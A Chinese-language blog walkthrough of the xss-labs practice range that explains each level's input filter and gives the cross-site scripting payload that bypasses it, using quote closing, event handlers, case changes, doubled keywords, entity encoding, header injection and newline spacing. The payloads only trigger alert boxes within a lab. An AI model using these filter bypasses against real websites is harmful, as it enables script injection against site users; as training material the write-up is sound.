XSS靶场闯关(xss-labs)

第一关

在url上有输入,页面上有输出,直接在url中注入payload即可,没做防御

第二关

当前页面上有两个输出地方,一个输出到了h2标签,后台进行了实体编码,另一个输出到input标签的value属性,没有进行html实体编码,考虑闭合input标签

        payload:'"><script>alert(3);</script>

第三关

后端采用了htmlspecialchars对输入的payload进行了实体编码,但未加ENT_QUOTES参数,默认不对单引号进行实体编码,可以考虑绑定事件来触发

        ' οnclick='alert(1)'      鼠标点击事件触发

        ' οnfοcus='alert(1)'     聚焦触发

         ' οnblur='alert(1)'      失去焦点触发

         ' οnclick=javascript:alert(1)        内容为数值型不用加引号

        ' οnclick='javascript:alert("hello")'        还可以使用js伪协议来执行

第四关

将数据加到了input标签的value属性中,考虑闭合value属性,添加事件

        '" οnclick='alert(1)'

第五关

对on,script进行了替换,将数据加到了input标签的value属性中,没有进行实体编码处理,可以考虑a标签的href属性,可以直接写伪协议

        '"><a href='javascript:alert(3)'>

第六关

对一些关键字进行了替换操作,如:on 替换为o_n,考虑大写绕过

         '" Onclick='alert(1)'

         '"><a hREf='javascript:alert(3)'>

第七关

对href和script进行了过滤,考虑双写绕过

        '"><a hRhrefEf='javascscriptript:alert(3)'>

第八关

将数据加到了a标签的href属性中,对script进行了替换操作,并忽略大小写,数据整体作为属性值时可以考虑编码绕过

javascript:alert(3)整体编码得到:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#51;&#41;

第九关

对数据进行了是否含有http://做了判断,并对关键字做了替换,把数据加到了a标签的href属性中,在属性中的数据可以考虑编码,并利用js的注释符//注释掉http://

javascript:alert(3)//http://  因为script被替换,对其进行编码得:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(3)//http:// 

第十关

查看源码发现有三个隐藏输入框

从url中发现是否需要输入查询参数

结合隐藏输入框的name属性,尝试提交查询参数

t_link=aa&t_history=bb&t_sort=cc

提交完查询参数后,再看源码,发现cc被写到了t_sort输入框的value属性中

在url中构造payload

        t_link=aa&t_history=bb&t_sort='" οnclick='alert(3)'

此时还是隐藏框,考虑在前面构造一个type属性取代后面的隐藏属性

         t_link=aa&t_history=bb&t_sort='" type='text' οnclick='alert(3)'

第十一关到第十四关

分别验证referer,user-agent,cookie,用bp抓包,修改请求头,注入payload:

         '" type='text' οnclick='alert(3)'

第十五关

nginclude可以引入一个网址的页面,考虑将第一关的页面引入

src='http://192.168.31.203/xss-labs/level1.php?name=<img src = 1 οnerrοr=alert(3)>'

第十六关

 对空格进行了html实体编码,替换掉了script标签,考虑用img标签,用回车(%0A)替换空格

        <img%0Asrc=1%0Aοnerrοr=alert(3)/>

第十七关,十八关

将数据加到embed标签的src属性中,embed标签定义一个区域,考虑绑定一个onmouseover事件

        ' οnmοuseοver=alert(3)

第十九,二十关

涉及到flash触发xss漏洞,现在基本不用flash技术了,略过

  • 48
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值